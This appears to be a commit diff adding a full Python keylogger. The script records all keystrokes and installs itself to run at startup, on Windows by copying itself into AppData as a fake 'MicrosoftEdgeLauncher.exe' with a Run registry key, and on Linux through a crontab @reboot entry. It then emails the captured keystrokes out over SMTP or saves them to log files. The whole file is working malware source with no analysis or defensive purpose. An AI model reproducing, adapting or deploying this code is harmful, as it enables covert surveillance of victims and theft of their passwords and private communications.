|
| 1 | +import keyboard # for keylogs |
| 2 | +import smtplib # for sending email using SMTP protocol (gmail) |
| 3 | +from threading import Timer |
| 4 | +from datetime import datetime |
| 5 | +from email.mime.multipart import MIMEMultipart |
| 6 | +from email.mime.text import MIMEText |
| 7 | +import os, shutil, subprocess, platform, sys |
| 8 | +from sys import executable |
| 9 | + |
| 10 | +SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on |
| 11 | +EMAIL_ADDRESS = "[email protected]" |
| 12 | +EMAIL_PASSWORD = "password_here" |
| 13 | + |
| 14 | +def setup_persistence(): |
| 15 | + """This function sets up persistence (runs automatically at startup) of this executable. |
| 16 | + On Linux, it uses crontab to create a cron job that runs this script at reboot. |
| 17 | + On Windows, it uses the Windows Registry to add a key that runs this script at startup. |
| 18 | + Note that this will only work if the script is bundled as an executable using PyInstaller on Windows. |
| 19 | + On Linux, it will work with the script itself or the executable.""" |
| 20 | + os_type = platform.system() |
| 21 | + if os_type == "Windows": |
| 22 | + location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge |
| 23 | + if not os.path.exists(location): |
| 24 | + shutil.copyfile(executable, location) |
| 25 | + subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True) |
| 26 | + elif os_type == "Linux": |
| 27 | + location = os.path.expanduser('~') + "/.config/KaliStartup" |
| 28 | + if not os.path.exists(location): |
| 29 | + # Create the autostart directory if it doesn't exist |
| 30 | + os.makedirs(location) |
| 31 | + filename = os.path.join(location, "KaliStartup") |
| 32 | + # Copy the keylogger to that new location |
| 33 | + shutil.copyfile(sys.executable, filename) |
| 34 | + # Add the keylogger to startup via crontab |
| 35 | + crontab_line = f"@reboot {filename}" |
| 36 | + os.system(f'(crontab -l; echo "{crontab_line}") | crontab -') |
| 37 | + |
| 38 | +# Run the setup_persistence function |
| 39 | +setup_persistence() |
| 40 | + |
| 41 | +class Keylogger: |
| 42 | + def __init__(self, interval, report_method="email"): |
| 43 | + """Initialize the keylogger with the specified interval for sending reports and the method of reporting.""" |
| 44 | + self.interval = interval |
| 45 | + self.report_method = report_method |
| 46 | + self.log = "" |
| 47 | + self.start_dt = datetime.now() |
| 48 | + self.end_dt = datetime.now() |
| 49 | + |
| 50 | + def callback(self, event): |
| 51 | + """Handle a keyboard event by logging the keystroke.""" |
| 52 | + name = event.name |
| 53 | + if len(name) > 1: |
| 54 | + if name == "space": |
| 55 | + name = " " |
| 56 | + elif name == "enter": |
| 57 | + name = "[ENTER]\n" |
| 58 | + elif name == "decimal": |
| 59 | + name = "." |
| 60 | + else: |
| 61 | + name = name.replace(" ", "_") |
| 62 | + name = f"[{name.upper()}]" |
| 63 | + self.log += name |
| 64 | + |
| 65 | + def update_filename(self): |
| 66 | + """Update the filename for the log file based on the current date and time.""" |
| 67 | + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") |
| 68 | + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") |
| 69 | + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" |
| 70 | + |
| 71 | + def report_to_file(self): |
| 72 | + """This method creates a log file in the specified directory that contains |
| 73 | + the current keylogs in the `self.log` variable""" |
| 74 | + os_type = platform.system() |
| 75 | + if os_type == "Windows": |
| 76 | + log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs') |
| 77 | + elif os_type == "Linux": |
| 78 | + log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs') |
| 79 | + # create a directory for the logs |
| 80 | + if not os.path.exists(log_dir): |
| 81 | + os.makedirs(log_dir) |
| 82 | + log_file = os.path.join(log_dir, f"{self.filename}.txt") |
| 83 | + # write the logs to a file |
| 84 | + with open(log_file, "w") as f: |
| 85 | + print(self.log, file=f) |
| 86 | + print(f"[+] Saved {log_file}") |
| 87 | + |
| 88 | + def prepare_mail(self, message): |
| 89 | + """Prepare an email message with both text and HTML versions.""" |
| 90 | + msg = MIMEMultipart("alternative") |
| 91 | + msg["From"] = EMAIL_ADDRESS |
| 92 | + msg["To"] = EMAIL_ADDRESS |
| 93 | + msg["Subject"] = "Keylogger logs" |
| 94 | + html = f"<p>{message}</p>" |
| 95 | + text_part = MIMEText(message, "plain") |
| 96 | + html_part = MIMEText(html, "html") |
| 97 | + msg.attach(text_part) |
| 98 | + msg.attach(html_part) |
| 99 | + return msg.as_string() |
| 100 | + |
| 101 | + def sendmail(self, email, password, message, verbose=1): |
| 102 | + """Send an email using SMTP with the logged keystrokes.""" |
| 103 | + server = smtplib.SMTP(host="smtp.office365.com", port=587) |
| 104 | + server.starttls() |
| 105 | + server.login(email, password) |
| 106 | + server.sendmail(email, email, self.prepare_mail(message)) |
| 107 | + server.quit() |
| 108 | + if verbose: |
| 109 | + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") |
| 110 | + |
| 111 | + def report(self): |
| 112 | + """Report the captured keystrokes either by email or by saving to a file.""" |
| 113 | + if self.log: |
| 114 | + self.end_dt = datetime.now() |
| 115 | + self.update_filename() |
| 116 | + if self.report_method == "email": |
| 117 | + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) |
| 118 | + elif self.report_method == "file": |
| 119 | + self.report_to_file() |
| 120 | + self.start_dt = datetime.now() |
| 121 | + self.log = "" |
| 122 | + timer = Timer(interval=self.interval, function=self.report) |
| 123 | + timer.daemon = True |
| 124 | + timer.start() |
| 125 | + |
| 126 | + def start(self): |
| 127 | + """Start the keylogger.""" |
| 128 | + self.start_dt = datetime.now() |
| 129 | + keyboard.on_release(callback=self.callback) |
| 130 | + self.report() |
| 131 | + print(f"{datetime.now()} - Started keylogger") |
| 132 | + keyboard.wait() |
| 133 | + |
| 134 | + |
| 135 | +if __name__ == "__main__": |
| 136 | + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") |
| 137 | + keylogger.start() |
0 commit comments